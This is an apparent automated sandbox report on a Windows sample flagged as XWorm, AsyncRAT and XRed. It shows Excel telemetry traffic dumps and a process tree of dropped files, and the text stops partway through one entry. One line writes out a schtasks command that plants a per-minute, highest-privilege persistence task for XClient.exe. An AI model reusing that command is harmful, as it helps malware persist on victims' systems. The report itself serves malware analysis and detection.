Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:28 UTC	207	OUT	GET /rules/rule324001v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:28 GMT Content-Type: text/xml Content-Length: 513 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:31 GMT ETag: "0x8DC582BD84BDCC1" x-ms-request-id: 9be41c5e-a01e-0021-77a2-f3814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111128Z-175d5d9dcdfphn6wzehrmkufx000000007d0000000008w79 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	513	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 31 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 50 72 6f 6a 65 63 74 4c 6f 61 64 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324001" V="4" DC="SM" EN="Office.Extensibility.VbaTelemetryProjectLoad" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" SP="CriticalBusinessImpact" DCa="DC PSP PSU" xmlns="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	49932	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:28 UTC	207	OUT	GET /rules/rule170022v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:28 GMT Content-Type: text/xml Content-Length: 756 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Sat, 27 Jul 2024 15:36:11 GMT ETag: "0x8DCAE51D7B4AB9D" x-ms-request-id: c4cc2531-301e-004d-75d9-ef2120000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111128Z-179f6cc58c6th72n7mmnw5xncc00000006y000000000a475 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	756	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 37 30 30 32 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 47 72 61 70 68 69 63 73 2e 47 56 69 73 49 6e 6b 4c 6f 61 64 22 20 41 54 54 3d 22 63 66 63 66 64 62 39 31 63 36 38 63 34 33 32 39 62 62 38 62 37 63 62 37 62 61 62 62 33 63 66 37 2d 65 30 38 32 63 32 66 32 2d 65 66 31 64 2d 34 32 37 61 2d 61 63 34 64 2d 62 30 62 37 30 30 61 66 65 37 61 37 2d 37 36 35 35 22 20 53 3d 22 31 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 38 69 70 6a 22 20 41 3d 22 61 6e 75 69 35 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="170022" V="2" DC="SM" EN="Office.Graphics.GVisInkLoad" ATT="cfcfdb91c68c4329bb8b7cb7babb3cf7-e082c2f2-ef1d-427a-ac4d-b0b700afe7a7-7655" S="1" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="b8ipj" A="anui5"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.8	49933	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:28 UTC	207	OUT	GET /rules/rule490016v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:29 GMT Content-Type: text/xml Content-Length: 777 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEC2AAB32" x-ms-request-id: ccf35018-201e-005d-5d65-f1afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111129Z-175d5d9dcdfbjv9zupc79896yc0000000800000000005ah1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	777	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 34 39 30 30 31 36 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 46 65 65 64 62 61 63 6b 2e 53 75 72 76 65 79 2e 46 6c 6f 6f 64 67 61 74 65 43 6c 69 65 6e 74 2e 52 6f 61 6d 69 6e 67 53 75 63 63 65 73 73 66 75 6c 52 65 61 64 57 72 69 74 65 22 20 41 54 54 3d 22 64 37 39 65 38 32 34 33 38 36 63 34 34 34 31 63 62 38 63 31 64 34 61 65 31 35 36 39 30 35 32 36 2d 62 64 34 34 33 33 30 39 2d 35 34 39 34 2d 34 34 34 61 2d 61 62 61 39 2d 30 61 66 39 65 65 66 39 39 66 38 34 2d 37 33 36 30 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 20 44 4c 3d 22 4e 22 20 44 43 61 3d 22 50 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="490016" V="3" DC="SM" EN="Office.Feedback.Survey.FloodgateClient.RoamingSuccessfulReadWrite" ATT="d79e824386c4441cb8c1d4ae15690526-bd443309-5494-444a-aba9-0af9eef99f84-7360" T="Upload-Medium" DL="N" DCa="P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.8	49935	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:29 UTC	207	OUT	GET /rules/rule324002v5s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:29 GMT Content-Type: text/xml Content-Length: 833 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:33 GMT ETag: "0x8DC582BD9758B35" x-ms-request-id: a4f2cf41-301e-0020-5578-f06299000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111129Z-179f6cc58c66qfktgeeadqmtu000000000cg000000001u9m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	833	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 32 22 20 56 3d 22 35 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 44 65 63 6c 61 72 65 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324002" V="5" DC="SM" EN="Office.Extensibility.VbaTelemetryDeclare" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" DCa="DC PSP PSU" xmlns=""> <S> <UTS T="1" Id="b0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.8	49937	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:29 UTC	207	OUT	GET /rules/rule324004v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:29 GMT Content-Type: text/xml Content-Length: 738 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:34 GMT ETag: "0x8DC582BD9FE7D4B" x-ms-request-id: 8ce4926e-801e-0078-7078-f0bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111129Z-175d5d9dcdf7bfm4mg476x8mrg00000007r0000000005gka x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	738	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 34 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 43 6f 6d 4f 62 6a 65 63 74 49 6e 73 74 61 6e 74 69 61 74 65 64 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324004" V="4" DC="SM" EN="Office.Extensibility.VbaTelemetryComObjectInstantiated" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" DCa="DC PSP PSU" xmlns=""> <S> <UT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	49936	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:29 UTC	207	OUT	GET /rules/rule324003v5s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:29 GMT Content-Type: text/xml Content-Length: 716 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:34 GMT ETag: "0x8DC582BD9F5CC0A" x-ms-request-id: 5116112b-d01e-0066-6965-f1ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111129Z-179f6cc58c6x9xcbkey819rwqw00000006z000000000ambn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	716	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 33 22 20 56 3d 22 35 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 52 65 66 65 72 65 6e 63 65 64 4c 69 62 72 61 72 79 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324003" V="5" DC="SM" EN="Office.Extensibility.VbaTelemetryReferencedLibrary" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" DCa="DC PSP PSU" xmlns=""> <S> <UTS T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	49938	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:29 UTC	207	OUT	GET /rules/rule324005v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:29 GMT Content-Type: text/xml Content-Length: 599 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:51 GMT ETag: "0x8DC582BC0B3C3C8" x-ms-request-id: ba350598-301e-0023-1065-f13ff4000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111129Z-179f6cc58c6f7trmd67czdnv4g00000007c00000000053u1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	599	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 35 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 43 6f 6d 70 69 6c 65 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324005" V="2" DC="SM" EN="Office.Extensibility.VbaTelemetryCompile" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" SP="CriticalBusinessImpact" DCa="DC PSP PSU" xmlns="">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	49939	13.107.253.67	443	8076	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:29 UTC	207	OUT	GET /rules/rule324006v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-08-22 11:11:29 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 22 Aug 2024 11:11:29 GMT Content-Type: text/xml Content-Length: 599 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:44 GMT ETag: "0x8DC582BBC83D642" x-ms-request-id: 992177d1-801e-0068-5f78-f07fae000000 x-ms-version: 2018-03-28 x-azure-ref: 20240822T111129Z-175d5d9dcdfbjv9zupc79896yc000000080g000000005835 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-08-22 11:11:29 UTC	599	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 33 32 34 30 30 36 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 45 78 74 65 6e 73 69 62 69 6c 69 74 79 2e 56 62 61 54 65 6c 65 6d 65 74 72 79 53 68 6f 77 49 64 65 22 20 41 54 54 3d 22 64 62 33 33 34 62 33 30 31 65 37 62 34 37 34 64 62 35 65 30 66 30 32 66 30 37 63 35 31 61 34 37 2d 61 31 62 35 62 63 33 36 2d 31 62 62 65 2d 34 38 32 66 2d 61 36 34 61 2d 63 32 64 39 63 62 36 30 36 37 30 36 2d 37 34 33 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 43 61 3d 22 44 43 20 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="324006" V="2" DC="SM" EN="Office.Extensibility.VbaTelemetryShowIde" ATT="db334b301e7b474db5e0f02f07c51a47-a1b5bc36-1bbe-482f-a64a-c2d9cb606706-7439" SP="CriticalBusinessImpact" DCa="DC PSP PSU" xmlns="">

Target ID:	0
Start time:	07:10:16
Start date:	22/08/2024
Path:	C:\Users\user\Desktop\Client.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Client.exe"
Imagebase:	0x400000
File size:	801'792 bytes
MD5 hash:	754AA1E8BAA350CB36B05DDF8FEB5BBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:10:17
Start date:	22/08/2024
Path:	C:\Users\user\Desktop\._cache_Client.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\._cache_Client.exe"
Imagebase:	0x9b0000
File size:	38'912 bytes
MD5 hash:	D0124EA188E8309B62E57A1C1B1A24E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\Desktop\._cache_Client.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\Desktop\._cache_Client.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	07:10:18
Start date:	22/08/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	762'368 bytes
MD5 hash:	B2B36F3E560521D53BD607DD291E3C08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:10:19
Start date:	22/08/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x950000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:10:24
Start date:	22/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"
Imagebase:	0x7ff7cc830000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:10:24
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:10:26
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\XClient.exe
Imagebase:	0x40000
File size:	38'912 bytes
MD5 hash:	D0124EA188E8309B62E57A1C1B1A24E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:10:27
Start date:	22/08/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	762'368 bytes
MD5 hash:	B2B36F3E560521D53BD607DD291E3C08
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:10:36
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\XClient.exe"
Imagebase:	0x5d0000
File size:	38'912 bytes
MD5 hash:	D0124EA188E8309B62E57A1C1B1A24E3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:10:57
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\XClient.exe"
Imagebase:	0x2d0000
File size:	38'912 bytes
MD5 hash:	D0124EA188E8309B62E57A1C1B1A24E3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:11:01
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\XClient.exe
Imagebase:	0x2d0000
File size:	38'912 bytes
MD5 hash:	D0124EA188E8309B62E57A1C1B1A24E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:11:10
Start date:	22/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8004 -s 11848
Imagebase:	0x5e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:12:00
Start date:	22/08/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
